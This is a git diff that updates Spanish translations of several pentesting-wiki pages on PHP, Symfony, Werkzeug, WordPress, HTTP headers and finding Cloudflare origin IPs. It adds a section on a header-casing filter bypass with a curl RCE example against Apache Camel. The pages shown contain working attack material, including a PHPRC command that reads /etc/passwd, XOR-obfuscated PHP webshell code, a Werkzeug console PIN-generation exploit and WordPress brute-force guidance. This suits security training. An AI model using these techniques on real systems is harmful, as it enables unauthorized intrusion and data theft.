-- Si una configuración php tiene **`register_argc_argv = On`** entonces los parámetros de consulta separados por espacios se utilizan para poblar el array de argumentos **`array_keys($_SERVER['argv'])`** como si fueran **argumentos de la CLI**. Esto es interesante porque si esa **configuración está desactivada**, el valor del **array args será `Null`** cuando se llame desde la web ya que el array args no se poblará. Por lo tanto, si una página web intenta verificar si se está ejecutando como una herramienta web o como una herramienta CLI con una comparación como `if (empty($_SERVER['argv'])) {` un atacante podría enviar **parámetros en la solicitud GET como `?--configPath=/lalala`** y pensará que se está ejecutando como CLI y potencialmente analizará y utilizará esos argumentos. Más información en el [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
+- Si una configuración de php tiene **`register_argc_argv = On`** entonces los parámetros de consulta separados por espacios se utilizan para poblar el array de argumentos **`array_keys($_SERVER['argv'])`** como si fueran **argumentos de la CLI**. Esto es interesante porque si esa **configuración está desactivada**, el valor del **array args será `Null`** cuando se llame desde la web ya que el array args no se poblará. Por lo tanto, si una página web intenta verificar si se está ejecutando como una herramienta web o como una herramienta CLI con una comparación como `if (empty($_SERVER['argv'])) {` un atacante podría enviar **parámetros en la solicitud GET como `?--configPath=/lalala`** y pensará que se está ejecutando como CLI y potencialmente analizará y utilizará esos argumentos. Más información en el [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
@@ -185,8 +186,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### Llenando un cuerpo antes de establecer encabezados
-Si una **página PHP está imprimiendo errores y devolviendo alguna entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP imprima de vuelta algún **contenido lo suficientemente largo** para que cuando intente **agregar los encabezados** a la respuesta, el servidor arroje un error.\
-En el siguiente escenario, el **atacante hizo que el servidor arrojara algunos errores grandes**, y como puedes ver en la pantalla, cuando PHP intentó **modificar la información del encabezado, no pudo** (por ejemplo, el encabezado CSP no se envió al usuario):
+Si una **página PHP está imprimiendo errores y devolviendo alguna entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP imprima de vuelta algún **contenido lo suficientemente largo** para que cuando intente **agregar los encabezados** a la respuesta, el servidor genere un error.\
+En el siguiente escenario, el **atacante hizo que el servidor generara algunos errores grandes**, y como puedes ver en la pantalla, cuando PHP intentó **modificar la información del encabezado, no pudo** (por ejemplo, el encabezado CSP no se envió al usuario):
.png>)
@@ -258,7 +259,7 @@ function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
-Puedes también usar **//** para comentar el resto del código.
+Puedes usar también **//** para comentar el resto del código.
Para descubrir el número de paréntesis que necesitas cerrar:
@@ -276,13 +277,13 @@ Se pueden encontrar diferentes shells .htaccess [aquí](https://github.com/wireg
Si encuentras una vulnerabilidad que te permite **modificar variables de entorno en PHP** (y otra para subir archivos, aunque con más investigación tal vez esto se pueda eludir), podrías abusar de este comportamiento para obtener **RCE**.
-- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso puede que no funcione).
+- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Esta variable de entorno te permite cargar bibliotecas arbitrarias al ejecutar otros binarios (aunque en este caso podría no funcionar).
- **`PHPRC`** : Instruye a PHP sobre **dónde localizar su archivo de configuración**, generalmente llamado `php.ini`. Si puedes subir tu propio archivo de configuración, entonces, usa `PHPRC` para apuntar a él. Agrega una entrada de **`auto_prepend_file`** especificando un segundo archivo subido. Este segundo archivo contiene código **PHP normal, que luego es ejecutado** por el runtime de PHP antes de cualquier otro código.
-1. Sube un archivo PHP que contenga nuestro shellcode.
-2. Sube un segundo archivo, que contenga una directiva de **`auto_prepend_file`** instruyendo al preprocesador de PHP a ejecutar el archivo que subimos en el paso 1.
+1. Sube un archivo PHP que contenga nuestro shellcode
+2. Sube un segundo archivo, que contenga una directiva **`auto_prepend_file`** instruyendo al preprocesador de PHP a ejecutar el archivo que subimos en el paso 1
3. Establece la variable `PHPRC` al archivo que subimos en el paso 2.
- Obtén más información sobre cómo ejecutar esta cadena [**del informe original**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
-- **PHPRC** - otra opción.
+- **PHPRC** - otra opción
- Si **no puedes subir archivos**, podrías usar en FreeBSD el "archivo" `/dev/fd/0` que contiene el **`stdin`**, siendo el **cuerpo** de la solicitud enviada al `stdin`:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- O para obtener RCE, habilita **`allow_url_include`** y prepende un archivo con **código PHP en base64**:
@@ -331,7 +332,7 @@ Si estás depurando una aplicación PHP, puedes habilitar globalmente la impresi
Puedes usar el **web**[ **www.unphp.net**](http://www.unphp.net) **para desofuscar código php.**
-## Envolturas y protocolos de PHP
+## Envolturas y Protocolos de PHP
Las envolturas y protocolos de PHP podrían permitirte **eludir las protecciones de escritura y lectura** en un sistema y comprometerlo. Para [**más información consulta esta página**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
@@ -351,9 +352,9 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
-## RCE abusando de nuevo $\_GET\["a"]\($\_GET\["b")
+## RCE abusando de $\_GET\["a"]\($\_GET\["b"])
-Si en una página puedes **crear un nuevo objeto de una clase arbitraria** podrías obtener RCE, consulta la siguiente página para aprender cómo:
+Si en una página puedes **crear un nuevo objeto de una clase arbitraria**, podrías obtener RCE, consulta la siguiente página para aprender cómo:
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
@@ -376,7 +377,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### Código de shell fácil XOR
-Según [**este informe**](https://mgp25.com/ctf/Web-challenge/) es posible generar un shellcode fácil de esta manera:
+Según [**este informe**](https://mgp25.com/ctf/Web-challenge/) es posible generar un código de shell fácil de esta manera:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
diff --git a/src/network-services-pentesting/pentesting-web/python.md b/src/network-services-pentesting/pentesting-web/python.md
index 4dd7401d8..3a4a1ab1e 100644
--- a/src/network-services-pentesting/pentesting-web/python.md
+++ b/src/network-services-pentesting/pentesting-web/python.md
@@ -8,16 +8,19 @@ prueba una posible **code execution**, usando la función _str()_:
```python
"+str(True)+" #If the string True is printed, then it is vulnerable
```
-### Tricks
+### Trucos
+
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
{{#endref}}
+
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
+
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md
index 4f8c4812b..ca99abb76 100644
--- a/src/network-services-pentesting/pentesting-web/special-http-headers.md
+++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md
@@ -93,7 +93,7 @@ Un encabezado hop-by-hop es un encabezado diseñado para ser procesado y consumi
- **`Content-Length`:** El tamaño del recurso, en número decimal de bytes.
- **`Content-Type`**: Indica el tipo de medio del recurso
- **`Content-Encoding`**: Se utiliza para especificar el algoritmo de compresión.
-- **`Content-Language`**: Describe el/los idioma(s) humano(s) destinados a la audiencia, para que permita a un usuario diferenciar según el idioma preferido del usuario.
+- **`Content-Language`**: Describe el/los idioma(s) humano(s) destinados a la audiencia, de modo que permite a un usuario diferenciar según el idioma preferido del usuario.
- **`Content-Location`**: Indica una ubicación alternativa para los datos devueltos.
Desde el punto de vista de un pentest, esta información suele ser "inútil", pero si el recurso está **protegido** por un 401 o 403 y puedes encontrar alguna **manera** de **obtener** esta **info**, esto podría ser **interesante.**\
@@ -129,7 +129,7 @@ Esto significa que el archivo llamado "filename.jpg" está destinado a ser desca
### **Tipos de Confianza**
-Al hacer cumplir los Tipos de Confianza a través de CSP, las aplicaciones pueden protegerse contra ataques XSS en el DOM. Los Tipos de Confianza aseguran que solo se puedan utilizar objetos específicamente elaborados, que cumplan con las políticas de seguridad establecidas, en llamadas a API web peligrosas, asegurando así el código JavaScript por defecto.
+Al hacer cumplir los Tipos de Confianza a través de CSP, las aplicaciones pueden protegerse contra ataques XSS en el DOM. Los Tipos de Confianza aseguran que solo se puedan utilizar objetos específicamente diseñados, que cumplan con las políticas de seguridad establecidas, en llamadas a API web peligrosas, asegurando así el código JavaScript por defecto.
```javascript
// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
@@ -179,8 +179,43 @@ Por último, HSTS es una característica de seguridad que obliga a los navegador
```
Strict-Transport-Security: max-age=3153600
```
+## Header Name Casing Bypass
+
+HTTP/1.1 define los nombres de los campos de encabezado como **insensibles a mayúsculas y minúsculas** (RFC 9110 §5.1). Sin embargo, es muy común encontrar middleware personalizado, filtros de seguridad o lógica de negocio que comparan el nombre de encabezado *literal* recibido sin normalizar primero la capitalización (por ejemplo, `header.equals("CamelExecCommandExecutable")`). Si esas verificaciones se realizan **sensible a mayúsculas y minúsculas**, un atacante puede eludirlas simplemente enviando el mismo encabezado con una capitalización diferente.
+
+Situaciones típicas donde aparece este error:
+
+* Listas personalizadas de permitir/denegar que intentan bloquear encabezados internos "peligrosos" antes de que la solicitud llegue a un componente sensible.
+* Implementaciones internas de pseudo-encabezados de proxy inverso (por ejemplo, sanitización de `X-Forwarded-For`).
+* Frameworks que exponen puntos finales de gestión / depuración y dependen de los nombres de encabezados para la autenticación o selección de comandos.
+
+### Abusing the bypass
+
+1. Identificar un encabezado que sea filtrado o validado del lado del servidor (por ejemplo, leyendo el código fuente, la documentación o los mensajes de error).
+2. Enviar el **mismo encabezado con una capitalización diferente** (mixta o en mayúsculas). Debido a que las pilas HTTP generalmente canonizan los encabezados solo *después* de que se ha ejecutado el código del usuario, se puede omitir la verificación vulnerable.
+3. Si el componente de downstream trata los encabezados de manera insensible a mayúsculas y minúsculas (la mayoría lo hace), aceptará el valor controlado por el atacante.
+
+### Example: Apache Camel `exec` RCE (CVE-2025-27636)
+
+En versiones vulnerables de Apache Camel, las rutas del *Command Center* intentan bloquear solicitudes no confiables eliminando los encabezados `CamelExecCommandExecutable` y `CamelExecCommandArgs`. La comparación se realizó con `equals()`, por lo que solo se eliminaron los nombres exactos en minúsculas.
+```bash
+# Bypass the filter by using mixed-case header names and execute `ls /` on the host
+curl "http:///command-center" \
+-H "CAmelExecCommandExecutable: ls" \
+-H "CAmelExecCommandArgs: /"
+```
+Los encabezados llegan al componente `exec` sin filtrar, lo que resulta en la ejecución remota de comandos con los privilegios del proceso Camel.
+
+### Detección y Mitigación
+
+* Normaliza todos los nombres de encabezados a un solo caso (generalmente en minúsculas) **antes** de realizar comparaciones de permitir/negar.
+* Rechaza duplicados sospechosos: si están presentes tanto `Header:` como `HeAdEr:`, trátalo como una anomalía.
+* Utiliza una lista de permitidos positiva aplicada **después** de la canonicalización.
+* Protege los puntos finales de gestión con autenticación y segmentación de red.
+
## Referencias
+- [CVE-2025-27636 – RCE en Apache Camel a través de eludir el caso de encabezado (blog de OffSec)](https://www.offsec.com/blog/cve-2025-27636/)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
- [https://web.dev/security-headers/](https://web.dev/security-headers/)
diff --git a/src/network-services-pentesting/pentesting-web/symphony.md b/src/network-services-pentesting/pentesting-web/symphony.md
index 967761fc8..98916fcaa 100644
--- a/src/network-services-pentesting/pentesting-web/symphony.md
+++ b/src/network-services-pentesting/pentesting-web/symphony.md
@@ -17,11 +17,11 @@ Symfony es uno de los frameworks PHP más utilizados y aparece regularmente en e
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
```
* Rutas públicas que solo existen en Symfony:
-* `/_profiler` (Symfony **Profiler** y barra de herramientas de depuración)
+* `/_profiler` (Symfony **Profiler** & barra de herramientas de depuración)
* `/_wdt/` (“Web Debug Toolbar”)
* `/_error/{code}.{_format}` (páginas de error bonitas)
* `/app_dev.php`, `/config.php`, `/config_dev.php` (controladores frontales de desarrollo anteriores a 4.0)
-* Wappalyzer, BuiltWith o listas de palabras ffuf/feroxbuster: `symfony.txt` → busca `/_fragment`, `/_profiler`, `.env`, `.htaccess`.
+* Wappalyzer, BuiltWith o listas de palabras de ffuf/feroxbuster: `symfony.txt` → busca `/_fragment`, `/_profiler`, `.env`, `.htaccess`.
### Archivos y puntos finales interesantes
| Ruta | Por qué es importante |
@@ -32,7 +32,7 @@ curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|t
| `/_profiler` | Historial completo de solicitudes, configuración, contenedor de servicios, **APP_SECRET** (≤ 3.4) |
| `/_fragment` | Punto de entrada utilizado por ESI/HInclude. Abuso posible una vez que conoces `APP_SECRET` |
| `/vendor/phpunit/phpunit/phpunit` | RCE de PHPUnit si es accesible (CVE-2017-9841) |
-| `/index.php/_error/{code}` | Finger-print y a veces filtra trazas de excepciones |
+| `/index.php/_error/{code}` | Finger-print & a veces filtra trazas de excepciones |
---
@@ -73,6 +73,7 @@ print(r.text)
### 5. Cadenas de gadgets de Symfony 1 (aún encontradas en aplicaciones heredadas)
* `phpggc symfony/1 system id` produce una carga útil Phar que desencadena RCE cuando ocurre un unserialize() en clases como `sfNamespacedParameterHolder`. Verifica los puntos finales de carga de archivos y los envoltorios `phar://`.
+
{{#ref}}
../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
{{#endref}}
@@ -109,12 +110,12 @@ Utilice gadgets de deserialización dentro del directorio de caché o escriba un
1. **Nunca despliegue debug** (`APP_ENV=dev`, `APP_DEBUG=1`) en producción; bloquee `/app_dev.php`, `/_profiler`, `/_wdt` en la configuración del servidor web.
2. Almacene secretos en variables de entorno o `vault/secrets.local.php`, *nunca* en archivos accesibles a través del document-root.
3. Haga cumplir la gestión de parches: suscríbase a los avisos de seguridad de Symfony y mantenga al menos el nivel de parches LTS.
-4. Si ejecuta en Windows, actualice inmediatamente para mitigar CVE-2024-51736 o agregue una defensa en profundidad `open_basedir`/`disable_functions`.
+4. Si está ejecutando en Windows, actualice inmediatamente para mitigar CVE-2024-51736 o agregue una defensa en profundidad `open_basedir`/`disable_functions`.
---
### Herramientas ofensivas útiles
-* **ambionics/symfony-exploits** – RCE de fragmento secreto, descubrimiento de rutas de depuración.
+* **ambionics/symfony-exploits** – RCE de fragmento secreto, descubrimiento de rutas de depurador.
* **phpggc** – Cadenas de gadgets listas para Symfony 1 y 2.
* **sf-encoder** – pequeño ayudante para calcular el HMAC de `_fragment` (implementación en Go).
diff --git a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md
index 867269465..a434392b3 100644
--- a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md
+++ b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md
@@ -7,7 +7,7 @@
- Puedes usar algún servicio que te dé los **registros DNS históricos** del dominio. Tal vez la página web esté funcionando en una dirección IP utilizada anteriormente.
- Lo mismo podría lograrse **verificando certificados SSL históricos** que podrían estar apuntando a la dirección IP de origen.
- Revisa también **registros DNS de otros subdominios que apunten directamente a IPs**, ya que es posible que otros subdominios estén apuntando al mismo servidor (quizás para ofrecer FTP, correo u otro servicio).
-- Si encuentras un **SSRF dentro de la aplicación web**, puedes abusar de ello para obtener la dirección IP del servidor.
+- Si encuentras un **SSRF dentro de la aplicación web** puedes abusar de ello para obtener la dirección IP del servidor.
- Busca una cadena única de la página web en navegadores como shodan (y tal vez google y similares?). Quizás puedas encontrar una dirección IP con ese contenido.
- De manera similar, en lugar de buscar una cadena única, podrías buscar el icono favicon con la herramienta: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) o con [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
- Esto no funcionará muy frecuentemente porque el servidor debe enviar la misma respuesta cuando se accede por la dirección IP, pero nunca se sabe.
@@ -16,6 +16,7 @@
- Busca el dominio dentro de [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) o [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). O usa la herramienta [CloudPeler](https://github.com/zidansec/CloudPeler) (que utiliza esa API)
- Busca el dominio en [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
+- [**CF-Hero**](https://github.com/musana/CF-Hero) es una herramienta de reconocimiento integral desarrollada para descubrir las verdaderas direcciones IP de aplicaciones web protegidas por Cloudflare. Realiza recopilación de inteligencia de múltiples fuentes a través de varios métodos.
- [**CloudFlair**](https://github.com/christophetd/CloudFlair) es una herramienta que buscará utilizando certificados de Censys que contengan el nombre de dominio, luego buscará IPv4s dentro de esos certificados y finalmente intentará acceder a la página web en esas IPs.
- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r es una poderosa herramienta de Python meticulosamente diseñada para descubrir la verdadera dirección IP de sitios web protegidos por Cloudflare y otras alternativas, un servicio de seguridad web y mejora del rendimiento ampliamente adoptado. Su misión principal es discernir con precisión la dirección IP real de los servidores web que están ocultos detrás del escudo protector de Cloudflare.
- [Censys](https://search.censys.io/)
@@ -41,6 +42,7 @@ Ten en cuenta que, aunque esto se hizo para máquinas de AWS, podría hacerse pa
Para una mejor descripción de este proceso, consulta:
+
{{#ref}}
https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
@@ -66,13 +68,13 @@ Este mecanismo se basa en **certificados SSL** [**del cliente**](https://socrada
En lugar de configurar su propio certificado, los clientes pueden simplemente usar el certificado de Cloudflare para permitir cualquier conexión desde Cloudflare, **independientemente del inquilino**.
> [!CAUTION]
-> Por lo tanto, un atacante podría simplemente establecer un **dominio en Cloudflare usando el certificado de Cloudflare y apuntar** a la dirección **IP** del dominio **de la víctima**. De esta manera, al configurar su dominio completamente desprotegido, Cloudflare no protegerá las solicitudes enviadas.
+> Por lo tanto, un atacante podría simplemente establecer un **dominio en Cloudflare usando el certificado de Cloudflare y apuntarlo** a la dirección **IP** del dominio **de la víctima**. De esta manera, al configurar su dominio completamente desprotegido, Cloudflare no protegerá las solicitudes enviadas.
Más información [**aquí**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
-### Direcciones IP de Cloudflare en la Lista Blanca
+### Direcciones IP de Cloudflare en la Lista Permitida
-Esto **rechazará conexiones que no se originen en las** direcciones IP de Cloudflare. Esto también es vulnerable a la configuración anterior donde un atacante simplemente **apunta su propio dominio en Cloudflare** a la dirección **IP** de las **víctimas**.
+Esto **rechazará conexiones que no se originen en las** direcciones IP de Cloudflare. Esto también es vulnerable a la configuración anterior donde un atacante simplemente **apunta su propio dominio en Cloudflare** a la dirección **IP de las víctimas** y lo ataca.
Más información [**aquí**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
@@ -111,7 +113,7 @@ Usa un navegador sin cabeza que no sea detectado como un navegador automatizado
- **Playwright:** El [plugin de sigilo](https://www.npmjs.com/package/playwright-stealth) llegará a Playwright pronto. Sigue los desarrollos [aquí](https://github.com/berstend/puppeteer-extra/issues/454) y [aquí](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
- **Selenium:** El [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) es un parche optimizado para Selenium Chromedriver.
-### Proxy Inteligente Con Bypass Integrado de Cloudflare
+### Proxy Inteligente con Bypass Integrado de Cloudflare
Los **proxies inteligentes** son actualizados continuamente por empresas especializadas, con el objetivo de eludir las medidas de seguridad de Cloudflare (ya que ese es su negocio).
diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md
index a63f995a6..087f77fba 100644
--- a/src/network-services-pentesting/pentesting-web/werkzeug.md
+++ b/src/network-services-pentesting/pentesting-web/werkzeug.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-## Consola RCE
+## Console RCE
Si el modo de depuración está activo, podrías intentar acceder a `/console` y obtener RCE.
```python
@@ -12,7 +12,7 @@ __import__('os').popen('whoami').read();
También hay varios exploits en internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) o uno en metasploit.
-## Protegido por PIN - Traversal de Ruta
+## Protección por PIN - Traversal de Ruta
En algunas ocasiones, el endpoint **`/console`** estará protegido por un pin. Si tienes una **vulnerabilidad de traversal de archivos**, puedes filtrar toda la información necesaria para generar ese pin.
@@ -24,22 +24,22 @@ The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
-Un mensaje sobre el escenario "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuración de Werkzeug, indicando que se requiere un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generación de PIN en el archivo de inicialización de depuración de Werkzeug (`__init__.py`). El mecanismo de generación de PIN se puede estudiar en el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), aunque se aconseja obtener el código del servidor real a través de una vulnerabilidad de recorrido de archivos debido a posibles discrepancias de versión.
+Un mensaje sobre el escenario "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuración de Werkzeug, indicando un requisito de un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generación de PIN en el archivo de inicialización de depuración de Werkzeug (`__init__.py`). El mecanismo de generación de PIN se puede estudiar en el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), aunque se aconseja obtener el código del servidor real a través de una vulnerabilidad de recorrido de archivos debido a posibles discrepancias de versión.
Para explotar el PIN de la consola, se necesitan dos conjuntos de variables, `probably_public_bits` y `private_bits`:
#### **`probably_public_bits`**
- **`username`**: Se refiere al usuario que inició la sesión de Flask.
-- **`modname`**: Generalmente designado como `flask.app`.
+- **`modname`**: Típicamente designado como `flask.app`.
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generalmente se resuelve en **Flask**.
-- **`getattr(mod, '__file__', None)`**: Representa la ruta completa a `app.py` dentro del directorio de Flask (por ejemplo, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` no es aplicable, **intenta `app.pyc`**.
+- **`getattr(mod, '__file__', None)`**: Representa la ruta completa a `app.py` dentro del directorio de Flask (por ejemplo, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` no es aplicable, **intente `app.pyc`**.
#### **`private_bits`**
- **`uuid.getnode()`**: Obtiene la dirección MAC de la máquina actual, con `str(uuid.getnode())` traduciéndola a un formato decimal.
-- Para **determinar la dirección MAC del servidor**, se debe identificar la interfaz de red activa utilizada por la aplicación (por ejemplo, `ens3`). En casos de incertidumbre, **filtra `/proc/net/arp`** para encontrar el ID del dispositivo, luego **extrae la dirección MAC** de **`/sys/class/net//address`**.
+- Para **determinar la dirección MAC del servidor**, se debe identificar la interfaz de red activa utilizada por la aplicación (por ejemplo, `ens3`). En casos de incertidumbre, **filtrar `/proc/net/arp`** para encontrar el ID del dispositivo, luego **extraer la dirección MAC** de **`/sys/class/net//address`**.
- La conversión de una dirección MAC hexadecimal a decimal se puede realizar como se muestra a continuación:
```python
@@ -92,9 +92,9 @@ try:
```
-Al recopilar todos los datos necesarios, se puede ejecutar el script de explotación para generar el PIN de la consola de Werkzeug:
+Al compilar todos los datos necesarios, se puede ejecutar el script de explotación para generar el PIN de la consola de Werkzeug:
-Al recopilar todos los datos necesarios, se puede ejecutar el script de explotación para generar el PIN de la consola de Werkzeug. El script utiliza los `probably_public_bits` y `private_bits` ensamblados para crear un hash, que luego se somete a un procesamiento adicional para producir el PIN final. A continuación se muestra el código de Python para ejecutar este proceso:
+Al compilar todos los datos necesarios, se puede ejecutar el script de explotación para generar el PIN de la consola de Werkzeug. El script utiliza los `probably_public_bits` y `private_bits` ensamblados para crear un hash, que luego se somete a un procesamiento adicional para producir el PIN final. A continuación se muestra el código de Python para ejecutar este proceso:
```python
import hashlib
from itertools import chain
@@ -140,7 +140,7 @@ rv = num
print(rv)
```
-Este script produce el PIN al hashear los bits concatenados, agregar sales específicas (`cookiesalt` y `pinsalt`), y formatear la salida. Es importante notar que los valores reales para `probably_public_bits` y `private_bits` deben obtenerse con precisión del sistema objetivo para asegurar que el PIN generado coincida con el esperado por la consola de Werkzeug.
+Este script produce el PIN al hashear los bits concatenados, agregar sales específicas (`cookiesalt` y `pinsalt`), y formatear la salida. Es importante notar que los valores reales para `probably_public_bits` y `private_bits` deben obtenerse con precisión del sistema objetivo para asegurar que el PIN generado coincida con el que espera la consola de Werkzeug.
> [!TIP]
> Si estás en una **versión antigua** de Werkzeug, intenta cambiar el **algoritmo de hashing a md5** en lugar de sha1.
@@ -153,6 +153,7 @@ Esto se debe a que, en Werkzeug, es posible enviar algunos caracteres **Unicode*
## Explotación Automatizada
+
{{#ref}}
https://github.com/Ruulian/wconsole_extractor
{{#endref}}
diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md
index 69b32ee83..e6612e52d 100644
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ b/src/network-services-pentesting/pentesting-web/wordpress.md
@@ -25,12 +25,12 @@
- `xmlrpc.php` es un archivo que representa una característica de WordPress que permite que los datos se transmitan con HTTP actuando como el mecanismo de transporte y XML como el mecanismo de codificación. Este tipo de comunicación ha sido reemplazada por la [REST API](https://developer.wordpress.org/rest-api/reference) de WordPress.
- La carpeta `wp-content` es el directorio principal donde se almacenan los plugins y temas.
- `wp-content/uploads/` es el directorio donde se almacenan los archivos subidos a la plataforma.
-- `wp-includes/` Este es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets.
-- `wp-sitemap.xml` En las versiones de WordPress 5.5 y superiores, WordPress genera un archivo XML de mapa del sitio con todas las publicaciones públicas y tipos de publicaciones y taxonomías consultables públicamente.
+- `wp-includes/` este es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets.
+- `wp-sitemap.xml` en las versiones de WordPress 5.5 y superiores, WordPress genera un archivo XML de mapa del sitio con todas las publicaciones públicas y tipos de publicaciones y taxonomías consultables públicamente.
**Post explotación**
-- El archivo `wp-config.php` contiene información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el nombre de usuario y la contraseña, las claves de autenticación y sales, y el prefijo de la tabla de la base de datos. Este archivo de configuración también se puede usar para activar el modo DEBUG, lo que puede ser útil para la solución de problemas.
+- El archivo `wp-config.php` contiene información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el nombre de usuario y la contraseña, claves de autenticación y sales, y el prefijo de la tabla de la base de datos. Este archivo de configuración también se puede usar para activar el modo DEBUG, lo que puede ser útil para la solución de problemas.
### Permisos de Usuarios
@@ -62,8 +62,6 @@ curl https://victim.com/ | grep 'content="WordPress'
- Archivos JavaScript
-.png>)
-
### Obtener Plugins
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@@ -95,21 +93,21 @@ Si las respuestas son **200** o **30X**, eso significa que el id es **válido**.
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
-Otro endpoint `/wp-json/` que puede revelar información sobre los usuarios es:
+Otro endpoint de `/wp-json/` que puede revelar información sobre los usuarios es:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
-Nota que este endpoint solo expone usuarios que han hecho una publicación. **Solo se proporcionará información sobre los usuarios que tienen esta función habilitada**.
+Tenga en cuenta que este endpoint solo expone a los usuarios que han hecho una publicación. **Solo se proporcionará información sobre los usuarios que tienen esta función habilitada**.
-También ten en cuenta que **/wp-json/wp/v2/pages** podría filtrar direcciones IP.
+También tenga en cuenta que **/wp-json/wp/v2/pages** podría filtrar direcciones IP.
- **Enumeración de nombres de usuario de inicio de sesión**: Al iniciar sesión en **`/wp-login.php`**, el **mensaje** es **diferente** si el **nombre de usuario indicado existe o no**.
### XML-RPC
-Si `xml-rpc.php` está activo, puedes realizar un ataque de fuerza bruta de credenciales o usarlo para lanzar ataques de DoS a otros recursos. (Puedes automatizar este proceso[ usando esto](https://github.com/relarizky/wpxploit) por ejemplo).
+Si `xml-rpc.php` está activo, puede realizar un ataque de fuerza bruta de credenciales o usarlo para lanzar ataques de DoS a otros recursos. (Puede automatizar este proceso[ usando esto](https://github.com/relarizky/wpxploit) por ejemplo).
-Para ver si está activo, intenta acceder a _**/xmlrpc.php**_ y envía esta solicitud:
+Para ver si está activo, intente acceder a _**/xmlrpc.php**_ y envíe esta solicitud:
**Verificar**
```html
@@ -168,7 +166,7 @@ Usando las credenciales correctas, puedes subir un archivo. En la respuesta, el
```
